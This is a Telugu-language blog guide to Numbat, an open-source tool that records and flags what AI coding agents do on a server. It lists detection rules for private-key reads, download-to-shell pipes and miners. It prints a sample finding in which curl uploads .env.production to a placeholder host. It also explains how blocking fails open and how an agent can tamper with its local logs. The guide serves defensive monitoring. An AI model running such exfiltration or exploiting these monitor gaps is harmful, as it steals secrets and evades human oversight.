SSD Nodes Learn Hosting plans →
మార్గదర్శకాలు Matt Connorద్వారా Matt Connor · అప్‌డేట్ చేయబడింది 2026-10-24

Numbat: మీ AI agent ఏం చేసిందో చూడండి

Perplexity రూపొందించిన Numbat, coding agents మీ serverలో చేసిన పనులను eventలుగా నమోదు చేస్తుంది. ఇది చూసేది, ఆపలేనిది, Apache 2.0 license వివరాలు తెలుసుకోండి.

Numbat అంటే ఏమిటి

మీకు చెందిన machine పై AI agent చేసిన పనులపై Numbat దృశ్యమానతను అందిస్తుంది. Coding agents ఇప్పటికే రూపొందించే hook callbacks మరియు session files ను ఇది చదివి, ఒకే event format గా ప్రామాణీకరిస్తుంది. తరువాత SSH private key చదవడం లేదా download ను నేరుగా shell కు pipe చేయడం వంటి ప్రవర్తనలపై చర్య తీసుకునే rules తో వాటిని సరిపోలుస్తుంది. Perplexity దీన్ని Apache 2.0 license కింద open source గా విడుదల చేసింది. మొదటి tagged release 29 July 2026న వచ్చింది.

క్రింద ఉన్న సమాచారం అంతా 2 August 2026న project's repository మరియు దాని స్వంత documentation నుంచి సేకరించబడింది. Release history, install requirements, record schema మరియు agent coverage ను 12 October 2026న repository తో మళ్లీ పరిశీలించాం. Perplexity ఏదైనా claim చేసిన చోట, ఈ post లో అది స్పష్టంగా పేర్కొంటుంది. Repository ఇంకా ప్రారంభ దశలో ఉండటంతో, దాని commands మారే అవకాశం ఉంది. అందువల్ల ఇది install tutorial కాదు.

సమస్య: agent చేసిన పనిని ఎవరూ నమోదు చేయరు

మీ VPSలోని coding agent, మీరు దానికి ఇచ్చిన user తరఫున shell commands ను అమలు చేస్తుంది, files ను చదువుతుంది, files ను రాస్తుంది మరియు network connections ను తెరుస్తుంది. Agent మీ shellలో టైప్ చేయదు కాబట్టి, మీ shell history వీటిలో ఏదీ నమోదు చేయదు. sshd మీరు login చేసిన విషయాన్ని మాత్రమే log చేస్తుంది; ఆ తర్వాత model తీసుకున్న నిర్ణయాలను నమోదు చేయదు. /var/log/auth.log ఏదైనా sudo ను యాక్సెస్ చేయడానికి ప్రయత్నించే వరకు నిశ్శబ్దంగానే ఉంటుంది. Agent తన స్వంత transcript ను నిర్వహిస్తుంది. అయితే ఆ file agent యొక్క session directory లో ఉంటుంది, దాని format releases మధ్య మారుతుంది, అలాగే agent యొక్క స్వంత process దానిలో రాయగలదు.

అందువల్ల గత మంగళవారం agent .env.production ను చదివిందా అని ఎవరైనా అడిగితే, చాలా serversలో నిజాయితీగా చెప్పగల సమాధానం: అది జరిగిందో లేదో మీరు నిర్ధారించలేరు. ఈ లోటే ఈ project ఉద్దేశ్యం.

Numbat ఏమి చేస్తుందని Perplexity పేర్కొంటుంది

README ఈ సాధనాన్ని “AI agent కార్యకలాపాలపై endpoint visibility, local detection, optional pre-action blocking మరియు forensic reconstructionతో” పనిచేసేదిగా వివరిస్తుంది. ఇక్కడ endpoint అంటే agent నడిచే machine; బయట నుంచి పర్యవేక్షించే network appliance కాదు. ఇవి వేర్వేరు సామర్థ్యాలు, వాటి ప్రాముఖ్యత కూడా వేర్వేరుగా ఉంటుంది.

Detection device పైనే జరుగుతుంది. Rules CEL (common expression language) లో రాసి localగా evaluate చేయబడతాయి. వాటిపై multi-step sequence rules అమలు చేయవచ్చు. YAMLలో మీ స్వంత rulesకు కూడా support ఉంది. Rule trigger కావడానికి machine బయటకు ఏదీ వెళ్లాల్సిన అవసరం లేదు.

Blocking optional మరియు పరిమితమైనది. ఇది synchronous pre-action hooks ద్వారా మాత్రమే పనిచేస్తుంది. ఆ hooksను అందించే agentsపైనే ఇది పనిచేస్తుంది. మీరు enable చేసే వరకు ఇది offలో ఉంటుంది.

Reconstruction తరువాత జరుగుతుంది. numbat scan agent ఇప్పటికే diskకు రాసిన session artifactsను parse చేస్తుంది. అందువల్ల ఏదైనా install చేయడానికి ముందు జరిగిన activityని కూడా పరిశీలించవచ్చు. ఈ claimకు project స్పష్టమైన పరిమితిని విధిస్తుంది: “At-rest reconstruction అనేది disk లేదా memory acquisition కాదు. Agent persist చేయని activityని ఇది recover చేయలదు.”

Output versioned NDJSON (newline delimited JSON) రూపంలో ఉంటుంది. ఇందులో events, findings, enforcement decisions, indicators మరియు scan summaries ఉంటాయి. v0.1.2 నాటికి schema version 0.2.0గా ఉంది. తరువాత schema మారింది: 12 October 2026న repositoryలో 0.2.0, 0.3.0 మరియు 0.4.0 schema versions ఉన్నాయి. READMEలోని record examples 0.4.0 చూపించాయి. Records stdoutకు లేదా local fileకు పంపవచ్చు. మీరు నిర్వహించే collectorకు HTTP ద్వారా కూడా పంపడం optionalగా ఉంది. ఇది cgo లేకుండా build చేసిన ఒక static Go binaryగా అందుతుంది. macOS, Linux మరియు Windowsలో amd64, arm64 కోసం ఇది అందుబాటులో ఉంది. అందువల్ల Linux VPSలో ముందుగా runtime install చేయాల్సిన అవసరం లేకుండా ఒకే fileతో దీన్ని నడపవచ్చు.

Numbat వాస్తవంగా ఏ agents ను చూడగలదు?

docs/agent-coverage.md లోని coverage matrix అధికారిక జాబితా. అయితే ఇందులో అన్ని agents కు సమానమైన coverage లేదు. ప్రాజెక్ట్ దీన్ని దాచకుండా స్పష్టంగా చెబుతుంది. Claude Code, Codex, Gemini CLI, Cursor మరియు GitHub Copilot CLIలకు artifact scanning మరియు pre-action hook తో live capture రెండూ ఉన్నాయి. 2026.7.1 మరియు తరువాతి versions నుంచి OpenClawకు native plugin అందుబాటులో ఉంది. చాలా entries deferred గా గుర్తించబడ్డాయి. అంటే live hook path ఉంది, కానీ artifact parser లేదు. సాధారణంగా ఆ agent తన historyని SQLiteలో write-ahead logతో నిల్వ చేస్తుంది. Agent నడుస్తున్న సమయంలో ఆ logను సురక్షితంగా చదవడం సాధ్యం కాదు. Cline CLI ఈ groupలో ఉంది: దాని live hooks పనిచేస్తాయి, కానీ దాని SQLite sessions parse చేయబడవు. OpenCode విషయంలో పరిస్థితి విభిన్నంగా ఉంది. v0.1.2 matrix దాని పాత JSON stores ను parse చేస్తుంది. ప్రస్తుత opencode.db database కోసం మాత్రమే పనిని deferred గా గుర్తిస్తుంది. OpenCode కోసం pre-action enforcement ఉందని అది పేర్కొనదు. 12 October 2026 నాటికీ main branchలోని matrix ఇదే విధంగా ఉంది.

ఈ toolతో ఏదైనా ప్రణాళిక రూపొందించే ముందు మీ agentకు సంబంధించిన rowను పరిశీలించండి. ఎందుకంటే దాదాపు ప్రతి rowలో "supported" అనే పదానికి వేర్వేరు అర్థం ఉంటుంది.

ఏ detection ఎలా కనిపిస్తుంది

Rules వాటి ప్రయోజనాన్ని తెలియజేసే ids ను కలిగి ఉంటాయి. secrets.read_private_key ఒక SSH key, AWS credentials, kube config లేదా package registry login ను కవర్ చేస్తుంది. exec.download_pipe_shell, curl లేదా wget output ను interpreter కు pipe చేసినప్పుడు trigger అవుతుంది. privilege.elevated_shell, sudo, doas, su లేదా pkexec ద్వారా interactive root shell కోసం చేసిన అభ్యర్థనను గుర్తిస్తుంది. impact.cryptomining_launch తెలిసిన miner binaries మరియు image names కు సరిపోతుంది.

Sequence rules ఒకే session లోని events ను కలుపుతాయి. chain.secret_read_then_egress ముందుగా secret file read జరిగి, తరువాత data ను బయటకు పంపే command అమలైనప్పుడు అవసరమైన match ను కనుగొంటుంది. README కింద చూపిన finding ను live incident నుంచి కాకుండా, నియంత్రితంగా replay చేసిన రెండు Claude Code pre-action callbacks నుంచి ప్రచురిస్తుంది. ఇక్కడ ముఖ్యమైన fields మాత్రమే ఉంచేలా దాన్ని కుదించాం:

{
  "record_type": "finding",
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "severity": "high",
  "confidence": "medium",
  "title": "Secret-file access followed by data-bearing egress",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}

Record లో "confidence": "medium" ఉన్న విషయాన్ని గమనించండి. ఈ మొత్తం output వర్గం గురించి project చెప్పిన విషయాన్నీ గమనించండి: "Findings అనేవి rule matches మాత్రమే; compromise కు proof కావు." Key ను చదివి, తరువాత build artifact ను upload చేసే deploy script అదే sequence rule కు match అవుతుంది. Match సరైనదే, కానీ alarm తప్పు. మీరు ఇప్పటివరకు అమలు చేసిన ప్రతి detection tool లో సాధారణంగా ఇదే పరిస్థితి ఉంటుంది.

డిఫాల్ట్‌గా Blocking నిలిపివేయబడి ఉంటుంది; లోపం వచ్చినప్పుడు ఇది అనుమతిస్తుంది

Numbat విడుదల చేసే ప్రతి rule monitor-only స్థితిలో ఉంటుంది. దాన్ని block rule గా మార్చడం ఉద్దేశపూర్వకంగా చేయాల్సిన పని. ఆ rule యొక్క పూర్తి YAML ను మీ స్వంత directory కి copy చేయాలి, అదే id ను ఉంచాలి, enforce: true ను జోడించాలి, version ను పెంచాలి, తరువాత ఆ policy ను validate చేసి install చేయాలి.

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

ఇప్పుడు దానిపై మీరు ఉంచాల్సిన నమ్మకం ఎంతవరకు ఉండాలో నిర్ణయించే అంశం ఇది. Numbat యొక్క deny అనేది agent కు తిరిగి పంపే response మాత్రమే. Tool call ను వాస్తవంగా తిరస్కరించేది agent. Numbat కు సమస్య వచ్చినప్పుడు ఏమవుతుందో enforcement guide స్పష్టంగా చెబుతుంది: "Malformed payloads, relevant evaluation errors, panics, and output failures suppress the numbat deny." Hook input పరిమితి 4 MiB. పరిమితిని మించిన input కూడా ఇదే మార్గంలో వెళ్తుంది.

అమలులోకి వచ్చిన deny యొక్క పరిమితిని కూడా guide స్పష్టంగా చెబుతుంది: "Fail-open means numbat withholds its deny response. It does not guarantee that the tool executes: the host may still prompt, deny, time out, or apply another hook or policy."

అందువల్ల ఇక్కడి enforcement ఒక guardrail మాత్రమే; అది boundary కాదు. Process crash అయితే Numbat ఆ action ను block చేయదు. ఎందుకంటే సమస్య వచ్చిన ప్రతిసారి మీ agent ను నిలిపివేసే monitor ను ఒక వారంలోనే uninstall చేస్తారు. ఈ trade-off సముచితమే. అయితే deny ఎల్లప్పుడూ చేరుతుందని ఊహించే security model ను నిర్మించకండి.

మీరు ఇప్పటికే చేస్తున్న పనులతో Numbat ఎలా కలిసి పనిచేస్తుంది

Numbat endpoint పై, agent యొక్క స్వంత process tree లోపల నడుస్తుంది. ఇది డిఫాల్ట్‌గా ~/.numbat/records.ndjson కు వ్రాస్తుంది. మీ user గా నడుస్తున్న agent ఆ file ను చదవగలదు. దాన్ని సవరించగలదు కూడా. Audit trail విలువ దాని చుట్టూ ఉన్న isolation కు ఎంత ఉందో అంతే ఉంటుంది. అందువల్ల మీరు ఇప్పటికే అమలు చేస్తున్న ప్రతి control ఈ control కు ముందు ఉండాలి, వెనుక కాదు.

coding agent కోసం disposable VM ఇవ్వడం ఒక చెడు run చేరుకోగల పరిధిని పరిమితం చేస్తుంది. VPS లో least privilege user agent కు అవసరం లేని files ను తెరవకుండా నిరోధిస్తుంది. agent context నుంచి credentials ను తొలగించడం వల్ల secrets.read_private_key సంభవించినప్పుడు దాన్ని పరిశీలించడం విలువైనంత అరుదుగా అది జరుగుతుంది. VPS లో Claude Code కోసం మీరు ఏర్పాటు చేసిన sandbox containment ను నిర్వహించే ప్రధాన వ్యవస్థగానే ఉంటుంది. Containment ఒక చెడు run తాకగల వాటి పరిధిని పరిమితం చేస్తుంది. code ఈ విధంగా ఎందుకు రూపొందించబడిందో రాసి ఉంచడం agent ఆశ్చర్యకరమైన పని చేసి మిమ్మల్ని log వద్దకు పంపే సందర్భాల సంఖ్యను తగ్గిస్తుంది.

Numbat జోడించేది record. అందువల్ల agent చేరుకోలేని ప్రదేశానికి ఆ record ను పంపండి. numbat ship మరియు HTTP sink ఇందుకోసమే ఉన్నాయి. రెండో machine పై stream యొక్క ఒక copy ఉండటం, log file కు evidence కు మధ్య ఉన్న తేడా. Event model లో MCP (model context protocol) fields కూడా ఉంటాయి. అందువల్ల VPS లో మీరు host చేసే MCP server ద్వారా బయటకు వెళ్లే tool calls, local shell commands తో పాటు అదే stream లోకి చేరతాయి. ఇది ముఖ్యమైనది, ఎందుకంటే bash ను మాత్రమే పర్యవేక్షించే ఏ వ్యవస్థకైనా ఈ మార్గం కనిపించదు. agent యొక్క search backend గా అనుసంధానించిన SearXNG instance విషయంలోనూ ఇదే blind spot ఉంటుంది. అక్కడ ప్రమాదం ఏ rule అయినా match చేయగల command రూపంలో కాకుండా, model context లోకి చేరే నమ్మదగని page text రూపంలో వస్తుంది.

ఇది ముందుగా read-only మోడ్‌లో ప్రయత్నించండి

Pinned version ను install చేయండి. దిగువ command v0.1.2 ను pin చేస్తుంది. దీని README లో Go 1.26.5 లేదా తదుపరి version అవసరమని పేర్కొంది. 12 October 2026 న main లోని README Go 1.26.6 లేదా తదుపరి version ను కోరింది. ఈ మార్పు v0.2.0 తో వచ్చింది. కాబట్టి మీరు కొత్త tag ను pin చేస్తే 1.26.6 ను ఉపయోగించండి. Source code నుంచి build చేయకూడదనుకుంటే, releases page లో SHA-256 checksums తో prebuilt binaries అందుబాటులో ఉన్నాయి.

go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scan

numbat agents system లో install చేసిన agents ను కనుగొంటుంది. numbat scan ఇప్పటికే disk లో ఉన్న session artifacts ను parse చేసి records ను ప్రింట్ చేస్తుంది. ఈ commands "hooks ను install చేయవు లేదా agent configuration ను మార్చవు" అని README పేర్కొంటుంది. అలాగే numbat "artifacts లో కనిపించే agents లేదా commands ను ఎప్పుడూ execute చేయదు. Configured HTTP sinks కు మాత్రమే outbound requests పంపుతుంది". Scanning read-only గా జరుగుతుంది మరియు secrets redaction వర్తిస్తుంది. సాధారణ record output లో పూర్తి raw transcript ఎప్పుడూ ఉండదు.

తదుపరి దశ live capture. దీనివల్ల agent configuration మారుతుంది:

numbat hook install --agent codex --emit all
numbat hook status --agent codex

--emit all events, findings, indicators మరియు వర్తించే enforcement decisions ను ~/.numbat/records.ndjson కు రాస్తుంది. Project నుంచి నేరుగా వచ్చే రెండు జాగ్రత్తలు ఉన్నాయి. Hooks అసలు run కావడానికి ముందు agent లో trust చేయాల్సి రావచ్చు. --enforce వంటి flags ను మార్చిన తర్వాత ఆ trust ను మళ్లీ సమీక్షించాలి. అలాగే hook status "execution లేదా delivery ను కాదు, configuration ను మాత్రమే verify చేస్తుంది". అందువల్ల healthy status line కనిపించడం వల్ల records ఎక్కడికైనా చేరుతున్నాయని నిర్ధారించలేము.

ఇంత కొత్త repository ఎందుకు dependency కాదు

12 October 2026 నాటికి public releases ఇవి: 29 July 2026 నాటి v0.1.1, 1 August 2026 నాటి v0.1.2, 17 August 2026 నాటి v0.2.0. Releases page లో v0.2.0 ను latest గా గుర్తించారు. ఈ post రాసిన 2 August 2026 నాటికి repository కు 597 stars ఉన్నాయి. ఇంత వేగంగా పెరిగిన సంఖ్యలు code ఎంత స్థిరంగా ఉందో కాకుండా Perplexity కు ఉన్న audience ను ప్రతిబింబిస్తాయి. Star అంటే తరువాత చూడటానికి ఎవరో ఆ page ను save చేశారని అర్థం.

Version number ఈ project యొక్క ప్రస్తుత స్థితిని స్పష్టంగా చూపిస్తుంది. v0.1.2 notes లో ప్రధానంగా credential redaction fixes ఉన్నాయి. అదనంగా case bundle మరియు telemetry normalisation పనులు ఉన్నాయి. v0.2.0 notes లో bounded message content capture, దాని beforeReadFile hook ద్వారా Cursor read-file enforcement, ఇంకా మరిన్ని redaction fixes ఉన్నాయి. ఇతర programs transcript లను సురక్షితంగా చదవడం ఈ tool పని. అందువల్ల ప్రారంభ దశలో credential redaction bugs ఉండటం సహజం. Inputs ఒక డజను agents నుంచి వస్తాయి. ప్రతి agent తన format ను తన స్వంత schedule ప్రకారం మార్చుతుంది. కాబట్టి ఇలాంటి bugs మరిన్ని వచ్చే అవకాశం ఉంది.

దీనివల్ల రెండు ఆచరణాత్మక నియమాలు వర్తిస్తాయి. మీరు కొనసాగించాల్సిన దేనిలోనైనా tag ను pin చేయండి; @latest ను ఎప్పుడూ ఉపయోగించవద్దు. అలాగే దీన్ని ఆధారపడే control గా కాకుండా, మీరు పరిశీలిస్తున్న instrument గా పరిగణించండి. కనీసం record schema మారడం ఆగే వరకు ఈ విధానాన్ని అనుసరించండి. అది ఇంకా ఆగలేదు. సుమారు పది వారాల్లో ఇది v0.2.0 నుంచి main లోని README లో v0.4.0 కు మారింది.

FAQ

Numbat ప్రమాదకరమైన AI agent ఆదేశాలను అడ్డుకుంటుందా?

మీరు స్వయంగా ఆ ఎంపిక చేస్తే మాత్రమే, అదీ best effort ప్రాతిపదికన మాత్రమే. Numbatతో వచ్చే ప్రతి rule monitor only మోడ్‌లో ఉంటుంది. నిరోధించడానికి, ఆ ruleలోని YAMLను మీ స్వంత directoryకి copy చేసి, దాని idను అలాగే ఉంచి, enforce: trueను జోడించి, versionను పెంచి, --enforceతో hookను install చేయాలి. అయినప్పటికీ deny అనేది agentకు తిరిగి పంపే response మాత్రమే; ఆ callను తిరస్కరించేది agentనే. Project fail-open ప్రవర్తనను document చేస్తుంది: malformed payloads, evaluation errors, panics, output failures అన్నీ denyను suppress చేస్తాయి. దీన్ని guardrailగా ఉపయోగించండి; మీ ఏకైక భద్రతా సరిహద్దుగా ఉపయోగించవద్దు.

Numbat ఏ AI agentsకు support ఇస్తుంది?

ప్రతి agentకు coverage భిన్నంగా ఉంటుంది. Repositoryలోని docs/agent-coverage.mdలో దాని జాబితా ఉంది. 2 August 2026న ఆ pageను పరిశీలించినప్పుడు Claude Code, Codex, Gemini CLI, Cursor, GitHub Copilot CLIలకు artifact scanning మరియు live capture రెండూ ఉన్నాయి. OpenClawకు version 2026.7.1 నుంచి native plugin ఉంది. మరెన్నో agentsకు live hook path జాబితాలో ఉన్నా, artifact parser ఇంకా లేదు. సాధారణంగా వాటి session history agent నడుస్తున్నప్పుడు సురక్షితంగా చదవలేని SQLite databaseలో ఉండటమే దీనికి కారణం. మీ agentకు సంబంధించిన rowను చదవండి. అక్కడ "supported" అనే పదం అనేక విభిన్న స్థాయిలను సూచిస్తుంది.

Agent Numbat recordsను మార్చగలదా?

అవును, అది అదే userగా నడిస్తే. Records defaultగా agent ఉన్న అదే machineలోని ~/.numbat/records.ndjsonలో ఉంటాయి. అందువల్ల ఆ pathకు write access ఉన్న ఏదైనా వాటిని మార్చగలదు లేదా తొలగించగలదు. Agent చేరుకోలేని collectorకు streamను పంపండి. ఇందుకు numbat ship లేదా HTTP sinkను ఉపయోగించండి. Local fileను convenience copyగా ఉంచండి. అందుకే ఈ tool isolationకు ప్రత్యామ్నాయం కాకుండా దానికి అనుబంధంగా పనిచేస్తుంది. least privilege user కింద disposable VMలో పరిమితం చేసిన agent తన audit trailపై చాలా తక్కువ నియంత్రణ కలిగి ఉంటుంది.

Production server కోసం Numbat సిద్ధంగా ఉందా?

మీరు ఆధారపడే controlగా ఇంకా సిద్ధంగా లేదు. మొదటి public release v0.1.1, 29 July 2026న వచ్చింది. తరువాత v0.1.2, 1 August 2026న, v0.2.0, 17 August 2026న విడుదలయ్యాయి. 12 October 2026 నాటికి READMEలోని record schema 0.4.0కి చేరింది. అందువల్ల flags మరియు record schema రెండూ ఇంకా మారుతున్నాయి. ఒక machineపై numbat agents మరియు numbat scanను నడపడం read-only, తక్కువ ప్రమాదంతో కూడిన పని. మీ agents diskపై ఏం వదిలి వెళ్తున్నాయో అది మీకు తెలియజేస్తుంది. ముఖ్యమైన serverపై enforcement hooks install చేయడం వేరే నిర్ణయం. దానికి pinned tagతో పాటు hook సరిగా పనిచేయనప్పుడు ఏమి చేయాలనే ప్రణాళిక కూడా అవసరం.

ఈ వ్యాసం ఉపయోగకరంగా ఉందా?